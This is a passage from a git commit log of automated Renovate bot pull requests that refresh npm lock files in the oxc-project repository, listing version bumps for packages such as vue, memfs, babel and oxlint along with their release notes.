2025-07-28 12:23:44 +08:00
renovate[bot]
c6792b0de6
chore(deps): lock file maintenance npm packages ( #12549 )
...
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [@napi-rs/wasm-runtime](https://redirect.github.com/napi-rs/napi-rs )
([source](https://redirect.github.com/napi-rs/napi-rs/tree/HEAD/wasi-runtime ))
| dependencies | patch | [`1.0.0` ->
`1.0.1`](https://renovatebot.com/diffs/npm/@napi-rs%2fwasm-runtime/1.0.0/1.0.1 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [@napi-rs/wasm-runtime](https://redirect.github.com/napi-rs/napi-rs )
([source](https://redirect.github.com/napi-rs/napi-rs/tree/HEAD/wasi-runtime ))
| devDependencies | patch | [`1.0.0` ->
`1.0.1`](https://renovatebot.com/diffs/npm/@napi-rs%2fwasm-runtime/1.0.0/1.0.1 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [es-toolkit](https://es-toolkit.dev )
([source](https://redirect.github.com/toss/es-toolkit )) |
devDependencies | patch | [`1.39.7` ->
`1.39.8`](https://renovatebot.com/diffs/npm/es-toolkit/1.39.7/1.39.8 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [memfs](https://redirect.github.com/streamich/memfs ) | devDependencies
| minor | [`4.17.2` ->
`4.22.1`](https://renovatebot.com/diffs/npm/memfs/4.17.2/4.22.1 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [motion](https://redirect.github.com/motiondivision/motion ) |
devDependencies | patch | [`12.23.6` ->
`12.23.9`](https://renovatebot.com/diffs/npm/motion/12.23.6/12.23.9 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [supertest](https://redirect.github.com/ladjs/supertest ) |
dependencies | patch | [`7.1.3` ->
`7.1.4`](https://renovatebot.com/diffs/npm/supertest/7.1.3/7.1.4 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[vue](https://redirect.github.com/vuejs/core/tree/main/packages/vue#readme )
([source](https://redirect.github.com/vuejs/core )) | devDependencies |
patch | [`3.5.17` ->
`3.5.18`](https://renovatebot.com/diffs/npm/vue/3.5.17/3.5.18 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node )
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node ))
| devDependencies | minor | [`24.0.15` ->
`24.1.0`](https://renovatebot.com/diffs/npm/@types%2fnode/24.0.15/24.1.0 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [oxlint](https://oxc.rs )
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint ))
| devDependencies | minor | [`1.7.0` ->
`1.8.0`](https://renovatebot.com/diffs/npm/oxlint/1.7.0/1.8.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>napi-rs/napi-rs (@​napi-rs/wasm-runtime)</summary>
###
[`v1.0.1`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/%40napi-rs/wasm-runtime%401.0.1 )
[Compare
Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/wasm-runtime@1.0.0...@napi-rs/wasm-runtime@1.0.1 )
##### What's Changed
- chore(wasm-runtime): bump emnapi to 1.4.5 by
[@​CPunisher](https://redirect.github.com/CPunisher ) in
[https://github.com/napi-rs/napi-rs/pull/2783 ](https://redirect.github.com/napi-rs/napi-rs/pull/2783 )
- refactor(cli): reuse buffer in `@napi-fs/wasm-time/fs` by
[@​CPunisher](https://redirect.github.com/CPunisher ) in
[https://github.com/napi-rs/napi-rs/pull/2782 ](https://redirect.github.com/napi-rs/napi-rs/pull/2782 )
**Full Changelog**:
https://github.com/napi-rs/napi-rs/compare/[@​napi-rs/wasm-runtime](https://redirect.github.com/napi-rs/wasm-runtime)@​1.0.0...[@​napi-rs/wasm-runtime](https://redirect.github.com/napi-rs/wasm-runtime)@​1.0.1
</details>
<details>
<summary>toss/es-toolkit (es-toolkit)</summary>
###
[`v1.39.8`](https://redirect.github.com/toss/es-toolkit/blob/HEAD/CHANGELOG.md#Version-v1398 )
[Compare
Source](https://redirect.github.com/toss/es-toolkit/compare/v1.39.7...v1.39.8 )
Released on July 25th, 2025.
- Aligned the types of `fill`, `pullAll`, `pullAllBy`, `pullAllWith`,
`pullAt`, `remove`, and `reverse` in our compatibility library with the
latest Lodash types (`@types/lodash` v4.17.20).
</details>
<details>
<summary>streamich/memfs (memfs)</summary>
###
[`v4.22.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4221-2025-07-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.22.0...v4.22.1 )
##### Bug Fixes
- `fs.createReadStream` throwing `ERR_OUT_OF_RANGE` with start parameter
([5e5e5ca](https://redirect.github.com/streamich/memfs/commit/5e5e5ca4726f615d2fa7a5dd9ae27341c6a38682 ))
###
[`v4.22.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4220-2025-07-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.21.0...v4.22.0 )
##### Features
- add `realpath.native` and its sync variant
([89d7e54](https://redirect.github.com/streamich/memfs/commit/89d7e54164a0515f82cebf098295d8b58f010cab ))
###
[`v4.21.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4210-2025-07-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.20.1...v4.21.0 )
##### Features
- improve `Dir` class, align better with Node.js
([cdc257a](https://redirect.github.com/streamich/memfs/commit/cdc257a800abe30512eab8a4ef763f6df8de8d09 ))
####
[4.20.1](https://redirect.github.com/streamich/memfs/compare/v4.20.0...v4.20.1 )
(2025-07-27)
##### Bug Fixes
- track internal position in FileHandle
([7406f1b](https://redirect.github.com/streamich/memfs/commit/7406f1b29ab7d0dbd45f27428258de40c7809e99 ))
###
[`v4.20.1`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4210-2025-07-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.20.0...v4.20.1 )
##### Features
- improve `Dir` class, align better with Node.js
([cdc257a](https://redirect.github.com/streamich/memfs/commit/cdc257a800abe30512eab8a4ef763f6df8de8d09 ))
####
[4.20.1](https://redirect.github.com/streamich/memfs/compare/v4.20.0...v4.20.1 )
(2025-07-27)
##### Bug Fixes
- track internal position in FileHandle
([7406f1b](https://redirect.github.com/streamich/memfs/commit/7406f1b29ab7d0dbd45f27428258de40c7809e99 ))
###
[`v4.20.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4210-2025-07-27 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.19.0...v4.20.0 )
##### Features
- improve `Dir` class, align better with Node.js
([cdc257a](https://redirect.github.com/streamich/memfs/commit/cdc257a800abe30512eab8a4ef763f6df8de8d09 ))
####
[4.20.1](https://redirect.github.com/streamich/memfs/compare/v4.20.0...v4.20.1 )
(2025-07-27)
##### Bug Fixes
- track internal position in FileHandle
([7406f1b](https://redirect.github.com/streamich/memfs/commit/7406f1b29ab7d0dbd45f27428258de40c7809e99 ))
###
[`v4.19.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4190-2025-07-25 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.18.0...v4.19.0 )
##### Bug Fixes
- improve cross-platform path validation in cp operations to prevent
Windows infinite recursion
([77535d0](https://redirect.github.com/streamich/memfs/commit/77535d01fd1026efe6f1f08a84cde22a03e885db ))
- prevent infinite recursion in Windows path resolution for cp
operations
([0f26418](https://redirect.github.com/streamich/memfs/commit/0f264184d62dd5aebf2fae47c4044ab888506059 ))
##### Features
- implement cp, cpSync, and promises.cp APIs
([389f1f5](https://redirect.github.com/streamich/memfs/commit/389f1f574352602a7aabb86f1d0ca9423e9f1df8 ))
##### Performance Improvements
- ⚡ ️ do not create a temporary function
([c8dbc24](https://redirect.github.com/streamich/memfs/commit/c8dbc24696e71735328f92cfbd9178e85b1d6852 ))
###
[`v4.18.0`](https://redirect.github.com/streamich/memfs/blob/HEAD/CHANGELOG.md#4180-2025-07-25 )
[Compare
Source](https://redirect.github.com/streamich/memfs/compare/v4.17.2...v4.18.0 )
##### Features
- add missing opendir methods
([7412d71](https://redirect.github.com/streamich/memfs/commit/7412d71755e7bf6e9831f0e25fead5cef90f87fa ))
####
[4.17.2](https://redirect.github.com/streamich/memfs/compare/v4.17.1...v4.17.2 )
(2025-05-15)
##### Performance Improvements
- use promises rather than `setImmediate` so that I/O is executed within
the current task stack
([#​1100](https://redirect.github.com/streamich/memfs/issues/1100 ))
([786072f](https://redirect.github.com/streamich/memfs/commit/786072f60e7c5e9fc37c235c23a56380a337d704 ))
####
[4.17.1](https://redirect.github.com/streamich/memfs/compare/v4.17.0...v4.17.1 )
(2025-05-03)
##### Bug Fixes
- export `Volume` class directly rather than as a `const`
([#​1099](https://redirect.github.com/streamich/memfs/issues/1099 ))
([9c99798](https://redirect.github.com/streamich/memfs/commit/9c99798f173df18f43670d7970fb669c2236af55 ))
</details>
<details>
<summary>motiondivision/motion (motion)</summary>
###
[`v12.23.9`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12239-2025-07-24 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.7...v12.23.9 )
##### Changed
- Removing redundant `renderRequest` `MotionValue` lifecycle.
###
[`v12.23.7`](https://redirect.github.com/motiondivision/motion/blob/HEAD/CHANGELOG.md#12237-2025-07-23 )
[Compare
Source](https://redirect.github.com/motiondivision/motion/compare/v12.23.6...v12.23.7 )
##### Fixed
- `springValue` cleanup.
- Removed additional `removeNode` from `AnimatePresence` when using
`popLayout`.
</details>
<details>
<summary>ladjs/supertest (supertest)</summary>
###
[`v7.1.4`](https://redirect.github.com/ladjs/supertest/compare/v7.1.3...076228a654236d65e593cd94b8c8950722d78c5a )
[Compare
Source](https://redirect.github.com/ladjs/supertest/compare/v7.1.3...v7.1.4 )
</details>
<details>
<summary>vuejs/core (vue)</summary>
###
[`v3.5.18`](https://redirect.github.com/vuejs/core/blob/HEAD/CHANGELOG.md#3518-2025-07-23 )
[Compare
Source](https://redirect.github.com/vuejs/core/compare/v3.5.17...v3.5.18 )
##### Bug Fixes
- **compiler-core:** avoid cached text vnodes retaining detached DOM
nodes
([#​13662](https://redirect.github.com/vuejs/core/issues/13662 ))
([00695a5](https://redirect.github.com/vuejs/core/commit/00695a5b41b2d032deaeada83831ff83aa6bfd4e )),
closes
[#​13661](https://redirect.github.com/vuejs/core/issues/13661 )
- **compiler-core:** avoid self updates of `v-pre`
([#​12556](https://redirect.github.com/vuejs/core/issues/12556 ))
([21b685a](https://redirect.github.com/vuejs/core/commit/21b685ad9d9d0e6060fc7d07b719bf35f2d9ae1f ))
- **compiler-core:** identifiers in function parameters should not be
inferred as references
([#​13548](https://redirect.github.com/vuejs/core/issues/13548 ))
([9b02923](https://redirect.github.com/vuejs/core/commit/9b029239edf88558465b941e1e4c085f92b1ebff ))
- **compiler-core:** recognize empty string as non-identifier
([#​12553](https://redirect.github.com/vuejs/core/issues/12553 ))
([ce93339](https://redirect.github.com/vuejs/core/commit/ce933390ad1c72bed258f7ad959a78f0e8acdf57 ))
- **compiler-core:** transform empty `v-bind` dynamic argument content
correctly
([#​12554](https://redirect.github.com/vuejs/core/issues/12554 ))
([d3af67e](https://redirect.github.com/vuejs/core/commit/d3af67e878790892f9d34cfea15d13625aabe733 ))
- **compiler-sfc:** transform empty srcset w/ includeAbsolute: true
([#​13639](https://redirect.github.com/vuejs/core/issues/13639 ))
([d8e40ef](https://redirect.github.com/vuejs/core/commit/d8e40ef7e1c20ee86b294e7cf78e2de60d12830e )),
closes
[vitejs/vite-plugin-vue#631 ](https://redirect.github.com/vitejs/vite-plugin-vue/issues/631 )
- **css-vars:** nullish v-bind in style should not lead to unexpected
inheritance
([#​12461](https://redirect.github.com/vuejs/core/issues/12461 ))
([c85f1b5](https://redirect.github.com/vuejs/core/commit/c85f1b5a132eb8ec25f71b250e25e65a5c20964f )),
closes
[#​12434](https://redirect.github.com/vuejs/core/issues/12434 )
[#​12439](https://redirect.github.com/vuejs/core/issues/12439 )
[#​7474](https://redirect.github.com/vuejs/core/issues/7474 )
[#​7475](https://redirect.github.com/vuejs/core/issues/7475 )
- **custom-element:** ensure exposed methods are accessible from custom
elements by making them enumerable
([#​13634](https://redirect.github.com/vuejs/core/issues/13634 ))
([90573b0](https://redirect.github.com/vuejs/core/commit/90573b06bf6fb6c14c6bbff6c4e34e0ab108953a )),
closes
[#​13632](https://redirect.github.com/vuejs/core/issues/13632 )
- **hydration:** prevent lazy hydration for updated components
([#​13511](https://redirect.github.com/vuejs/core/issues/13511 ))
([a9269c6](https://redirect.github.com/vuejs/core/commit/a9269c642bf944560bc29adb5dae471c11cd9ee8 )),
closes
[#​13510](https://redirect.github.com/vuejs/core/issues/13510 )
- **runtime-core:** ensure correct anchor el for unresolved async
components
([#​13560](https://redirect.github.com/vuejs/core/issues/13560 ))
([7f29943](https://redirect.github.com/vuejs/core/commit/7f2994393dcdb82cacbf62e02b5ba5565f32588b )),
closes
[#​13559](https://redirect.github.com/vuejs/core/issues/13559 )
- **slots:** refine internal key checking to support slot names starting
with an underscore
([#​13612](https://redirect.github.com/vuejs/core/issues/13612 ))
([c5f7db1](https://redirect.github.com/vuejs/core/commit/c5f7db11542bb2246363aef78c88a8e6cef0ee93 )),
closes
[#​13611](https://redirect.github.com/vuejs/core/issues/13611 )
- **ssr:** ensure empty slots render as a comment node in Transition
([#​13396](https://redirect.github.com/vuejs/core/issues/13396 ))
([8cfc10a](https://redirect.github.com/vuejs/core/commit/8cfc10a80b9cbf5d801ab149e49b8506d192e7e1 )),
closes
[#​13394](https://redirect.github.com/vuejs/core/issues/13394 )
</details>
<details>
<summary>oxc-project/oxc (oxlint)</summary>
###
[`v1.8.0`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v1.8.0 ):
oxlint v1.8.0
[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.7.0...oxlint_v1.8.0 )
#### \[1.8.0] - 2025-07-22
**NOTE**: While custom JS plugins are mentioned in the release notes,
they are not yet supported in this release. We are actively building
them out.
##### 🚀 Features
-
[`6d2b549`](https://redirect.github.com/oxc-project/oxc/commit/6d2b549 )
napi/oxlint: Pass AST in buffer to JS
([#​12350](https://redirect.github.com/oxc-project/oxc/issues/12350 ))
(overlookmotel)
-
[`14f0159`](https://redirect.github.com/oxc-project/oxc/commit/14f0159 )
linter/exhaustive-deps: Add auto-fixer
([#​12354](https://redirect.github.com/oxc-project/oxc/issues/12354 ))
(Don Isaac)
##### 🐛 Bug Fixes
-
[`99e105f`](https://redirect.github.com/oxc-project/oxc/commit/99e105f )
linter: Correct autofix in `unicorn/prefer-number-properties` for
Infinity
([#​12445](https://redirect.github.com/oxc-project/oxc/issues/12445 ))
(yefan)
-
[`0b539e3`](https://redirect.github.com/oxc-project/oxc/commit/0b539e3 )
linter: `unicorn/catch-error-name` wasn't using the ignore property
([#​12446](https://redirect.github.com/oxc-project/oxc/issues/12446 ))
(Parbez)
-
[`05fba9b`](https://redirect.github.com/oxc-project/oxc/commit/05fba9b )
linter: Don't panic on `TSNonNullExpression` in
`unicorn/prefer-array-find`
([#​12400](https://redirect.github.com/oxc-project/oxc/issues/12400 ))
(Sysix)
-
[`46e33d5`](https://redirect.github.com/oxc-project/oxc/commit/46e33d5 )
linter: Improve error handling in config file lookup
([#​12391](https://redirect.github.com/oxc-project/oxc/issues/12391 ))
(camc314)
-
[`4621872`](https://redirect.github.com/oxc-project/oxc/commit/4621872 )
linter: Parse second script block for `svelte` files
([#​12390](https://redirect.github.com/oxc-project/oxc/issues/12390 ))
(Sysix)
-
[`fbe7eb4`](https://redirect.github.com/oxc-project/oxc/commit/fbe7eb4 )
linter/filename-case: Fix default config when no config is provided
([#​12389](https://redirect.github.com/oxc-project/oxc/issues/12389 ))
(camc314)
-
[`fea9df4`](https://redirect.github.com/oxc-project/oxc/commit/fea9df4 )
linter: Report errors with the correct severity for custom plugins
([#​12362](https://redirect.github.com/oxc-project/oxc/issues/12362 ))
(camc314)
-
[`652c038`](https://redirect.github.com/oxc-project/oxc/commit/652c038 )
linter: Mark correctly enabled default rules for `--rules`
([#​12163](https://redirect.github.com/oxc-project/oxc/issues/12163 ))
(Sysix)
-
[`eadc359`](https://redirect.github.com/oxc-project/oxc/commit/eadc359 )
linter: Correct source text for vue files having script attributes
containig ">" char inside
([#​12375](https://redirect.github.com/oxc-project/oxc/issues/12375 ))
(Sysix)
-
[`54d143a`](https://redirect.github.com/oxc-project/oxc/commit/54d143a )
linter/exhaustive-deps: More descriptive messages for always-rerender
violations
([#​12336](https://redirect.github.com/oxc-project/oxc/issues/12336 ))
(Don Isaac)
-
[`dac4db9`](https://redirect.github.com/oxc-project/oxc/commit/dac4db9 )
linter/exhaustive-deps: Better diagnostics for missing dependencies
([#​12337](https://redirect.github.com/oxc-project/oxc/issues/12337 ))
(Don Isaac)
-
[`119d23a`](https://redirect.github.com/oxc-project/oxc/commit/119d23a )
linter/prefer-array-flat-map: Error for `.flat(1.0)`
([#​12360](https://redirect.github.com/oxc-project/oxc/issues/12360 ))
(overlookmotel)
##### 🚜 Refactor
-
[`2d9291c`](https://redirect.github.com/oxc-project/oxc/commit/2d9291c )
linter/prefer-number-properties: Simplify fixer logic
([#​12451](https://redirect.github.com/oxc-project/oxc/issues/12451 ))
(camc314)
-
[`c5dff1e`](https://redirect.github.com/oxc-project/oxc/commit/c5dff1e )
linter, napi/parser: Add `source_len` field to `RawTransferMetadata`
([#​12383](https://redirect.github.com/oxc-project/oxc/issues/12383 ))
(overlookmotel)
-
[`5e3b415`](https://redirect.github.com/oxc-project/oxc/commit/5e3b415 )
linter: Duplicate `RawTransferMetadata` in `oxc_linter` crate
([#​12382](https://redirect.github.com/oxc-project/oxc/issues/12382 ))
(overlookmotel)
-
[`773fd88`](https://redirect.github.com/oxc-project/oxc/commit/773fd88 )
linter: Pass `&Allocator` into `Linter::run_external_rules`
([#​12374](https://redirect.github.com/oxc-project/oxc/issues/12374 ))
(overlookmotel)
-
[`b10ed11`](https://redirect.github.com/oxc-project/oxc/commit/b10ed11 )
linter: Make unwrap unconditional
([#​12371](https://redirect.github.com/oxc-project/oxc/issues/12371 ))
(overlookmotel)
-
[`a0631d4`](https://redirect.github.com/oxc-project/oxc/commit/a0631d4 )
linter: Move running external rules into feature-gated function
([#​12370](https://redirect.github.com/oxc-project/oxc/issues/12370 ))
(overlookmotel)
-
[`4fc4e7c`](https://redirect.github.com/oxc-project/oxc/commit/4fc4e7c )
linter: Make feature gates for `oxlint2` feature consistent
([#​12369](https://redirect.github.com/oxc-project/oxc/issues/12369 ))
(overlookmotel)
-
[`50b1786`](https://redirect.github.com/oxc-project/oxc/commit/50b1786 )
linter: Clarify usage of `Allocator` and `AllocatorGuard`
([#​12332](https://redirect.github.com/oxc-project/oxc/issues/12332 ))
(overlookmotel)
-
[`26d3a39`](https://redirect.github.com/oxc-project/oxc/commit/26d3a39 )
linter: Remove `ModuleContentOwner` abstraction
([#​12331](https://redirect.github.com/oxc-project/oxc/issues/12331 ))
(overlookmotel)
##### 📚 Documentation
-
[`3c21d94`](https://redirect.github.com/oxc-project/oxc/commit/3c21d94 )
linter: Correct comment on `RawTransferMetadata2` type
([#​12428](https://redirect.github.com/oxc-project/oxc/issues/12428 ))
(overlookmotel)
##### 💼 Other
-
[`0b17927`](https://redirect.github.com/oxc-project/oxc/commit/0b17927 )
oxlint: V1.8.0
([#​12452](https://redirect.github.com/oxc-project/oxc/issues/12452 ))
(oxc-bot)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS40MC4wIiwidXBkYXRlZEluVmVyIjoiNDEuNDAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-07-27 20:52:19 +00:00
renovate[bot]
f53f31f282
chore(deps): lock file maintenance npm packages ( #12413 )
2025-07-21 08:54:43 +08:00
renovate[bot]
8190f3a85f
chore(deps): lock file maintenance npm packages ( #12254 )
2025-07-15 11:49:48 +08:00
renovate[bot]
fa148baeb7
chore(deps): lock file maintenance npm packages ( #12098 )
...
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing |
Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [@babel/core](https://babel.dev/docs/en/next/babel-core )
([source](https://redirect.github.com/babel/babel/tree/HEAD/packages/babel-core ))
| devDependencies | minor | [`7.27.7` ->
`7.28.0`](https://renovatebot.com/diffs/npm/@babel%2fcore/7.27.7/7.28.0 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[@babel/plugin-proposal-decorators](https://babel.dev/docs/en/next/babel-plugin-proposal-decorators )
([source](https://redirect.github.com/babel/babel/tree/HEAD/packages/babel-plugin-proposal-decorators ))
| devDependencies | minor | [`7.27.1` ->
`7.28.0`](https://renovatebot.com/diffs/npm/@babel%2fplugin-proposal-decorators/7.27.1/7.28.0 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[@babel/plugin-transform-typescript](https://babel.dev/docs/en/next/babel-plugin-transform-typescript )
([source](https://redirect.github.com/babel/babel/tree/HEAD/packages/babel-plugin-transform-typescript ))
| dependencies | minor | [`7.27.1` ->
`7.28.0`](https://renovatebot.com/diffs/npm/@babel%2fplugin-transform-typescript/7.27.1/7.28.0 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [antd](https://ant.design )
([source](https://redirect.github.com/ant-design/ant-design )) |
devDependencies | patch | [`5.26.2` ->
`5.26.3`](https://renovatebot.com/diffs/npm/antd/5.26.2/5.26.3 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [es-toolkit](https://es-toolkit.dev )
([source](https://redirect.github.com/toss/es-toolkit )) |
devDependencies | patch | [`1.39.5` ->
`1.39.6`](https://renovatebot.com/diffs/npm/es-toolkit/1.39.5/1.39.6 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [motion](https://redirect.github.com/motiondivision/motion ) |
devDependencies | minor | [`12.19.2` ->
`12.23.0`](https://renovatebot.com/diffs/npm/motion/12.19.2/12.23.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [playwright](https://playwright.dev )
([source](https://redirect.github.com/microsoft/playwright )) |
devDependencies | patch | [`1.53.1` ->
`1.53.2`](https://renovatebot.com/diffs/npm/playwright/1.53.1/1.53.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node )
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node ))
| devDependencies | patch | [`24.0.7` ->
`24.0.10`](https://renovatebot.com/diffs/npm/@types%2fnode/24.0.7/24.0.10 )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [oxlint](https://oxc.rs )
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint ))
| devDependencies | minor | [`1.3.0` ->
`1.5.0`](https://renovatebot.com/diffs/npm/oxlint/1.3.0/1.5.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
🔧 This Pull Request updates lock files to use the latest dependency
versions.
---
### Release Notes
<details>
<summary>babel/babel (@​babel/core)</summary>
###
[`v7.28.0`](https://redirect.github.com/babel/babel/blob/HEAD/CHANGELOG.md#v7280-2025-07-02 )
[Compare
Source](https://redirect.github.com/babel/babel/compare/v7.27.7...v7.28.0 )
##### 🚀 New Feature
- `babel-node`
- [#​17147](https://redirect.github.com/babel/babel/pull/17147 )
Support top level await in node repl
([@​liuxingbaoyu](https://redirect.github.com/liuxingbaoyu ))
- `babel-types`
- [#​17258](https://redirect.github.com/babel/babel/pull/17258 )
feat(matchesPattern): support super/private/meta
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-compat-data`, `babel-preset-env`
- [#​17355](https://redirect.github.com/babel/babel/pull/17355 )
Add explicit resource management to preset-env
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-core`, `babel-parser`
- [#​17390](https://redirect.github.com/babel/babel/pull/17390 )
Support `sourceType: "commonjs"`
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-generator`, `babel-parser`
- [#​17346](https://redirect.github.com/babel/babel/pull/17346 )
Materialize `explicitResourceManagement` parser plugin
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-plugin-proposal-destructuring-private`,
`babel-plugin-proposal-do-expressions`,
`babel-plugin-transform-object-rest-spread`, `babel-traverse`,
`babel-types`
- [#​17391](https://redirect.github.com/babel/babel/pull/17391 )
LVal coverage updates (Part 2)
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-parser`, `babel-traverse`, `babel-types`
- [#​17378](https://redirect.github.com/babel/babel/pull/17378 )
Accept bigints in `t.bigIntLiteral` factory
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-generator`, `babel-plugin-proposal-destructuring-private`,
`babel-plugin-proposal-discard-binding`,
`babel-plugin-transform-destructuring`,
`babel-plugin-transform-explicit-resource-management`,
`babel-plugin-transform-react-display-name`, `babel-types`
- [#​17277](https://redirect.github.com/babel/babel/pull/17277 )
Transform discard binding
([@​JLHwung](https://redirect.github.com/JLHwung ))
- `babel-generator`, `babel-parser`,
`babel-plugin-proposal-destructuring-private`,
`babel-plugin-transform-block-scoping`,
`babel-plugin-transform-object-rest-spread`,
`babel-plugin-transform-typescript`, `babel-traverse`, `babel-types`
- [#​17163](https://redirect.github.com/babel/babel/pull/17163 )
Parse discard binding
([@​JLHwung](https://redirect.github.com/JLHwung ))
##### 🐛 Bug Fix
- `babel-helper-globals`, `babel-plugin-transform-classes`,
